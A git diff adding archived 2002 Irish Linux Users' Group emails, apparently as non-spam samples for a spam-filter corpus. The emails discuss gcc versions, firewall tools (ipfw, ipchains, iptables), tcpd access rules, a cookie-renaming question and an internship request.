lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T9BFi19277 for + ; Mon, 29 Jul 2002 10:11:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA01105; Mon, 29 Jul 2002 10:08:55 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA01071 for ; + Mon, 29 Jul 2002 10:08:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.105.180.140] claimed + to be mandark.labs.netnoteinc.com +Received: from triton.labs.netnoteinc.com + (lbedford@triton.labs.netnoteinc.com [192.168.2.12]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6T98kp06783 for + ; Mon, 29 Jul 2002 10:08:47 +0100 +Date: Mon, 29 Jul 2002 10:08:46 +0100 +From: Liam Bedford +To: ilug@linux.ie +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +Message-Id: <20020729100846.359298c3.lbedford@netnoteinc.com> +In-Reply-To: <3D44BE4F.8070603@esatclear.ie> +References: <200207262228.XAA19581@lugh.tuatha.org> + <20020727015716.A6561@ie.suberic.net> + <200207271701.SAA23172@lugh.tuatha.org> <3D4359EE.9050405@esatclear.ie> + <002a01c23664$b7326d40$f264a8c0@sabeo.ie> <3D44BE4F.8070603@esatclear.ie> +Organization: Netnote International +X-Mailer: Sylpheed version 0.7.8claws69 (GTK+ 1.2.10; i386-debian-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, 29 Jul 2002 05:02:23 +0100 +Paul Kelly claiming to think: + +> Matthew French wrote: +> >>Happiness was restored to the world with gcc 2.95 and later. +> > I do not have the time to follow the compiler "wars", but I notice that I +> > must use egcs to build 64 bit SPARC code. +> +> 2.95 was where the reintegration effort started and work on the other +> projects fell away. 3.0 was the target for completion of that work. +> +> > GCC 3 should do it, but because it is so "buggy"[1] it is not worth trying +> > to use unless you really want to track down those compiler errors... :( +> +> A lot of those problems seem to have been shaken out by Redhat's ballsy +> gcc 2.96 stunt. I've been trying out RedHat Limbo for a few weeks now, +> equipped with gcc 3.1. I haven't fallen foul of compiler issue so far, +> that I'm aware of anyhow. That said I'm glad I don't do much C++ - seems +> pretty much every version of gcc (2.95, 2.96, 3.0, 3.1, and the +> forthcoming 3.2) breaks C++ binary compatibility in some way or other. +> +diary.codemonkey.org.uk [Dave Jones]: + Got a mail from Neil telling me about some whizzy new warnings in the cvs +version of gcc. Pulled it and spent a while playing with gcc, and after a +few false starts got it to spit out a bunch of warnings when compiling the +kernel. There's a boatload of stuff that still needs cleaning up for 2.5 +(Things like __FUNCTION__ abuse and the like). 2.4 doesn't even compile due +to broken asm constraints and other such sillies. As 3.x isn't a recommended +compiler for 2.4, this isn't too important just yet. As more and more archs +start using 3.x for their standard compiler though, we should clean up some +of this stuff for 2.5. The new warning Neil tipped me off about +(-Wunused-macros) turns out far too much crap. From what I looked at, +it was correct in most cases, and yes there were macros being defined +but being unused. Cleaning them up however creates a maintenance nightmare +for anyone with patches in those areas already. (This sort of cleanup +particularly hurts people like myself who have huge patches touching large +parts of the tree). The recent gcc->c99 struct initialisers patch for instance +made large parts of my tree reject. With more to come, the fun isn't over yet either. + +that is the CVS version, but it seems that more breakage is to come with the +kernel :( + +(Everyone will want to compile their machine on the latest greatest... I think +they eventually persuaded Compaq's compiler to compile the kernel)... + +L. +-- + dBP dBBBBb | If you're looking at me to be an accountant + dBP | Then you will look but you will never see + dBP dBBBK' | If you're looking at me to start having babies + dBP dB' db | Then you can wish because I'm not here to fool around + dBBBBP dBBBBP' | Belle & Sebastian (Family Tree) + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00141.aec902144f2d18dce81d4a5dd84e11bf b/bayes/spamham/easy_ham_2/00141.aec902144f2d18dce81d4a5dd84e11bf new file mode 100644 index 0000000..88cc95b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00141.aec902144f2d18dce81d4a5dd84e11bf @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 46722440FE + for ; Mon, 29 Jul 2002 06:25:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T9FKi19524 for + ; Mon, 29 Jul 2002 10:15:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA01734; Mon, 29 Jul 2002 10:13:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay.dub-t3-1.nwcgroup.com + (postfix@relay.dub-t3-1.nwcgroup.com [195.129.80.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA01702 for ; Mon, + 29 Jul 2002 10:13:34 +0100 +Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com + [192.6.126.73]) by relay.dub-t3-1.nwcgroup.com (Postfix) with ESMTP id + 9E3D470008 for ; Mon, 29 Jul 2002 10:13:31 +0100 (IST) +Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by + bramg1.net.external.hp.com (Postfix) with SMTP id 7599CA10 for + ; Mon, 29 Jul 2002 11:12:48 +0200 (METDST) +Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail + VirusWall NT); Mon, 29 Jul 2002 10:12:48 +0100 +Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2655.55) + id ; Mon, 29 Jul 2002 10:12:48 +0100 +Message-Id: <253B1BDA4E68D411AC3700D0B77FC5F80771934B@patsydan.dublin.hp.com> +From: "HAMILTON,DAVID (HP-Ireland,ex2)" +To: "'ilug@linux.ie'" +Date: Mon, 29 Jul 2002 10:12:38 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2655.55) +Content-Type: text/plain +Subject: [ILUG] [OT] Renaming Cookies +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi All, + +Does anyone know if it is possible to just rename the cookie files, as in +user1@site.com -> user2@site.com? +If so, what's the easiest way to do this. +The cookies are on a windows box, but I can smbmount the hard disk if this +is the best way to do it. + +Thanks, + David. + +David Hamilton +Senior Technical Consultant +HP Ireland + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00142.98a680c9dd137bdbbca8a00790dc3e45 b/bayes/spamham/easy_ham_2/00142.98a680c9dd137bdbbca8a00790dc3e45 new file mode 100644 index 0000000..9b0eeef --- /dev/null +++ b/bayes/spamham/easy_ham_2/00142.98a680c9dd137bdbbca8a00790dc3e45 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ACB414415B + for ; Mon, 29 Jul 2002 06:25:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T9ZTi20423 for + ; Mon, 29 Jul 2002 10:35:29 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03097; Mon, 29 Jul 2002 10:33:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from bbnmg1.net.external.hp.com (bbnmg1.net.external.hp.com + [192.6.76.73]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA03057 for + ; Mon, 29 Jul 2002 10:33:27 +0100 +Received: from eiach.bbn.hp.com (eiach.bbn.hp.com [15.140.168.10]) by + bbnmg1.net.external.hp.com (Postfix) with SMTP id 7F699239 for + ; Mon, 29 Jul 2002 11:33:27 +0200 (METDST) +Received: from 15.140.168.10 by eiach.bbn.hp.com (InterScan E-Mail + VirusWall NT); Mon, 29 Jul 2002 11:33:24 +0200 +Received: by eiach.bbn.hp.com with Internet Mail Service (5.5.2655.55) id + ; Mon, 29 Jul 2002 11:33:24 +0200 +Message-Id: <07A9D2E3B03BD4119FD300D0B747AB2906CEF8C9@mahler.bbn.hp.com> +From: "PETAZZONI,THOMAS (Non-HP-Germany,ex1)" +To: "'ilug@linux.ie'" +Date: Mon, 29 Jul 2002 11:33:17 +0200 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2655.55) +Content-Type: text/plain; charset="iso-8859-1" +Subject: [ILUG] Training in Ireland ? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +This might appear as a very strange email. Maybe it is ;) + +I'm french, and I'm currently studying in a engineer school in France, +called UTBM (http://www.utbm.fr). Next year, from February to July, I have +to do a practice somewhere in the world (in France or elsewhere). + +I'm a Linux user and developer since a couple of years now (I coordinate the +KOS project, http://kos.enix.org). That's why I'm looking for a practice in +which I can use Linux and/or develop Linux/BSD Software. I also prefer +working in a small company (< 100 people). But since I've never been to +Ireland (that's why I want to discover this country), and since I have no +contact there, it is very difficult to find companies. + +So, I thought that the local Linux community maybe was able to help me by +giving some list of companies that are known to work with Linux/BSD or any +other free software. + +Thank you very much for your help + +Thomas + +Thomas Petazzoni +thomas.petazzoni@non.hp.com +KOS : http://kos.enix.org +Perso : http://kos.enix.org/~thomas/ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00143.c497f4c428f9ec61888084e3e8207deb b/bayes/spamham/easy_ham_2/00143.c497f4c428f9ec61888084e3e8207deb new file mode 100644 index 0000000..4759844 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00143.c497f4c428f9ec61888084e3e8207deb @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 511714415C + for ; Mon, 29 Jul 2002 06:25:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:23 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TA2Pi21644 for + ; Mon, 29 Jul 2002 11:02:25 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA04676; Mon, 29 Jul 2002 10:58:07 +0100 +Received: from weasel ([212.2.162.33]) by lugh.tuatha.org (8.9.3/8.9.3) + with ESMTP id KAA04623 for ; Mon, 29 Jul 2002 10:57:53 + +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [212.2.162.33] claimed to + be weasel +Received: from [193.203.146.252] (helo=proxyplus.pro.ie) by weasel with + esmtp (Exim 3.33 #2) id 17Z7Hk-0007Iy-00 for ilug@linux.ie; Mon, + 29 Jul 2002 10:57:52 +0100 +Received: from shakespear [192.168.0.2] by Proxy+; Mon, 29 Jul 2002 + 10:50:04 +0100 for +From: "William Harrison - Protocol" +To: +Subject: RE: [ILUG] BBC suggest using Linux over MS software +Date: Mon, 29 Jul 2002 10:50:04 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 +Importance: Normal +In-Reply-To: <653270E74A8DD31197AF009027AA4F8B025F5C82@LIMXMMF303> +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +This sounds very similar to what was read on the internet spot on 2fm last +Thursday too. + + +-----Original Message----- +From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of +John_White@dell.com +Sent: 25 July 2002 13:53 +To: ilug@linux.ie +Subject: [ILUG] BBC suggest using Linux over MS software + + +Near the top : +"One of the easiest ways to avoid many common [security] problems is to stop +using Microsoft software. " + +And further on : +"The ultimate step would be to use a Mac or install Linux on your PC..." + +cool ! + +http://news.bbc.co.uk/2/hi/technology/2143630.stm + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00144.be6a9360ea183b54e0f2a39716257f2b b/bayes/spamham/easy_ham_2/00144.be6a9360ea183b54e0f2a39716257f2b new file mode 100644 index 0000000..cb0b4f2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00144.be6a9360ea183b54e0f2a39716257f2b @@ -0,0 +1,89 @@ +From ilug-admin@linux.ie Mon Jul 29 19:25:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5C8F2440ED + for ; Mon, 29 Jul 2002 14:25:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 19:25:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TIL8q12688 for + ; Mon, 29 Jul 2002 19:21:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA25313; Mon, 29 Jul 2002 19:19:01 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA25276 for ; Mon, + 29 Jul 2002 19:18:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A0003F413 for ilug@linux.ie; Mon, 29 Jul 2002 19:18:54 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + E430EDA4A; Mon, 29 Jul 2002 19:18:53 +0100 (IST) +Date: Mon, 29 Jul 2002 19:18:53 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] ipfw vs ipchains vs iptables +Message-Id: <20020729191853.A9864@prodigy.Redbrick.DCU.IE> +References: <20020729180444.A28366@prodigy.Redbrick.DCU.IE> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from paulj@alphyra.ie on Mon, Jul 29, 2002 at 06:17:08PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Paul Jakma's [paulj@alphyra.ie] 53 lines of wisdom included: +> true. +> +> however, there are quite a few setup scripts available for +> ipchains/iptables, which can make config just as easy as ipfw. + +Well, that doesn't help you reading your listing. + +> isnt the ipfw code in BSD brand-new aswell? (the old code was +> rewritten for OpenBSD recently due to licensing concerns). + +I think you're talking about IPFilter, and OpenBSD's new PF code. +Now who's talking FUD :) + +> the above is a bit FUD'ish. + +Perhaps, although I think when seriously considering something like +a firewall, tried and trusted means a hell of a lot. IPFilter would +probably win that race. + +> they're all much of a muchness really. probably best thing is: +> +> - if you're more comfortable with BSD -> ipfw + +I was talking in terms of the actual firewall. If the company in +question knows plenty about Linux and nothing about FreeBSD, I'd go +with a Linux box, merely because when something goes wrong (that +isn't got to do with ipfw/ipchains/ipfilter), then someone knows how +to fix it. + +As I said before, I have little to no in-depth experience with +netfilter, I'm aware of it's basic capabilities and had a quick look +at it's features in early 2.4 editions but that's it. + +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00145.a62431b99d739b3aab6139b417ed49a7 b/bayes/spamham/easy_ham_2/00145.a62431b99d739b3aab6139b417ed49a7 new file mode 100644 index 0000000..e04aafe --- /dev/null +++ b/bayes/spamham/easy_ham_2/00145.a62431b99d739b3aab6139b417ed49a7 @@ -0,0 +1,114 @@ +From ilug-admin@linux.ie Mon Jul 29 21:48:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7C6B4440F1 + for ; Mon, 29 Jul 2002 16:48:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 21:48:55 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TKmVq18946 for + ; Mon, 29 Jul 2002 21:48:31 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA32133; Mon, 29 Jul 2002 21:46:53 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA32053 for ; + Mon, 29 Jul 2002 21:46:24 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g6TKr5w03279; + Mon, 29 Jul 2002 21:53:05 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g6TKr2J21272; Mon, 29 Jul 2002 21:53:03 + +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Mon, 29 Jul 2002 21:53:01 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: Philip Reynolds +Cc: ilug@linux.ie +Subject: Re: [ILUG] ipfw vs ipchains vs iptables +In-Reply-To: <20020729191853.A9864@prodigy.Redbrick.DCU.IE> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, 29 Jul 2002, Philip Reynolds wrote: + +> Well, that doesn't help you reading your listing. + +i can read it fine. :) + +if you want readability - a good script is worth just as much. + +> > isnt the ipfw code in BSD brand-new aswell? (the old code was +> > rewritten for OpenBSD recently due to licensing concerns). +> +> I think you're talking about IPFilter, and OpenBSD's new PF code. +> Now who's talking FUD :) + +ah doh! yes. + +i thought the firewalling code on all the BSDs was fairly related - +sorry. So FreeBSD's ipfw is not encumbered in the same way the old +OBSD firewalling was? + +> Perhaps, although I think when seriously considering something like +> a firewall, tried and trusted means a hell of a lot. IPFilter would +> probably win that race. + +to an extent, i guess so, yes. but i've a few boxes with reasonable +uptimes that run netfilter/iptables. (i've one that has crashed twice +now after 60+ day uptimes. but that doesnt seem to be netfilter). + +course, there's a lot more that can go wrong with a firewall than the +firewall code. in that case get 2 boxes and heartbeat them. + +> I was talking in terms of the actual firewall. If the company in +> question knows plenty about Linux and nothing about FreeBSD, I'd go +> with a Linux box, merely because when something goes wrong (that +> isn't got to do with ipfw/ipchains/ipfilter), then someone knows +> how to fix it. + +indeed. couldnt agree more. + +(that's the nice thing about *nix - fact we /can/ have nit-picking +arguments about which *nix and firewall code is better). + +> As I said before, I have little to no in-depth experience with +> netfilter, I'm aware of it's basic capabilities and had a quick +> look at it's features in early 2.4 editions but that's it. + +i've no experience of ipfw. (closest i've come is looking at IPFilter +for IRIX - but it had a problem in that it wasnt maintained +anymore. however, while the englishy syntax is nice, i dont think +iptables command syntax is a big obstacle). + +anyway.. there's choice. and as i understand it, with the advent of +netfilter/iptables there's now almost nothing between them from a +technical POV. (apart from ipfw being in use a lot longer). + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A +Fortune: +What a strange game. The only winning move is not to play. + -- WOP, "War Games" + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00146.ee13fb620cb6632027aac9a6b7e536a2 b/bayes/spamham/easy_ham_2/00146.ee13fb620cb6632027aac9a6b7e536a2 new file mode 100644 index 0000000..05970ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00146.ee13fb620cb6632027aac9a6b7e536a2 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Mon Jul 29 21:48:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 10975440F0 + for ; Mon, 29 Jul 2002 16:48:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 21:48:55 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TKhcq18698 for + ; Mon, 29 Jul 2002 21:43:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA31628; Mon, 29 Jul 2002 21:41:12 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail4.burlee.com (mail4.burlee.com [199.93.70.16]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA31600; Mon, 29 Jul 2002 + 21:41:02 +0100 +Received: from [192.168.1.11] [66.124.158.42] by mail4.burlee.com with + ESMTP (SMTPD32-6.05) id A858FC200160; Mon, 29 Jul 2002 16:40:56 -0400 +Date: Mon, 29 Jul 2002 02:13:16 -0700 (PDT) +From: Kirk Bollinger +X-X-Sender: +To: kevin lyda , + +Subject: Re: [ILUG] tcpd +In-Reply-To: <20020727203049.A19694@ie.suberic.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, 27 Jul 2002, kevin lyda wrote: + +> On Sat, Jul 27, 2002 at 11:58:10AM -0700, Paul O'Neil wrote: +> > If I want to use tcpd for ftp and only one user will ever ftp but I dont +> > know what IP that user is because its dialup DHCP how do I setup tcpd for +> > that user? +> + + +You could at the very least setup tcp wrappers and limit it to the dialup +domain name. + +/etc/hosts.allow + +in.ftpd: .domain.name + +-kirk + + +> please don't reply to messages to send a new topic to ilug. those of +> us using threaded mail clients find that really annoying. +> +> tcpd is host based filtering/auth. so if the ip is dynamic, you can't +> really use it. however ftp supports user based auth - actually it kind +> of requires a user, so just set up an account for that person. +> +> kevin +> +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00147.ed6083bcb7c519b09300f3b414ac8912 b/bayes/spamham/easy_ham_2/00147.ed6083bcb7c519b09300f3b414ac8912 new file mode 100644 index 0000000..7955769 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00147.ed6083bcb7c519b09300f3b414ac8912 @@ -0,0 +1,110 @@ +From ilug-admin@linux.ie Mon Jul 29 22:29:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 88C0E440EF + for ; Mon, 29 Jul 2002 17:29:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 22:29:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TLT3q20609 for + ; Mon, 29 Jul 2002 22:29:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA01301; Mon, 29 Jul 2002 22:26:39 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA01263 for ; Mon, + 29 Jul 2002 22:26:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A0003FEDD for ilug@linux.ie; Mon, 29 Jul 2002 22:26:32 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + 2F77ADA4A; Mon, 29 Jul 2002 22:26:32 +0100 (IST) +Date: Mon, 29 Jul 2002 22:26:32 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] ipfw vs ipchains vs iptables +Message-Id: <20020729222632.A16164@prodigy.Redbrick.DCU.IE> +References: <20020729191853.A9864@prodigy.Redbrick.DCU.IE> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from paul@clubi.ie on Mon, Jul 29, 2002 at 09:53:01PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Paul Jakma's [paul@clubi.ie] 67 lines of wisdom included: +> i thought the firewalling code on all the BSDs was fairly related - +> sorry. So FreeBSD's ipfw is not encumbered in the same way the old +> OBSD firewalling was? + +Nope, indeed IPFW2 has just been rolled out into -STABLE. (-STABLE +is a stable branch of the code that has been rolled into -CURRENT +first. It's basically a major release, that's still a work in +progress) + +> to an extent, i guess so, yes. but i've a few boxes with reasonable +> uptimes that run netfilter/iptables. (i've one that has crashed twice +> now after 60+ day uptimes. but that doesnt seem to be netfilter). +> +> course, there's a lot more that can go wrong with a firewall than the +> firewall code. in that case get 2 boxes and heartbeat them. + +I don't really judge things by uptimes, it's rather like judging +penis size. People like comparing them, and the larger they are, the +more people are in awe of them, but overly large ones aren't really +practical! + +> indeed. couldnt agree more. +> +> (that's the nice thing about *nix - fact we /can/ have nit-picking +> arguments about which *nix and firewall code is better). + +Defiantely. I wouldn't like anyone to accuse me of being a +nit-picker though ;) + +> i've no experience of ipfw. (closest i've come is looking at IPFilter +> for IRIX - but it had a problem in that it wasnt maintained +> anymore. however, while the englishy syntax is nice, i dont think +> iptables command syntax is a big obstacle). +> +> anyway.. there's choice. and as i understand it, with the advent of +> netfilter/iptables there's now almost nothing between them from a +> technical POV. (apart from ipfw being in use a lot longer). + +Well, as someone who's used ipchains quite heavily about two years +ago, I can guarantee you that the learning curve for reading +ipchains rules and ipfw rules is quite different. Of course once +you've memorised (not necessarily sitting down with a sheet of them +and learning them off by rote) them, you wonder what all 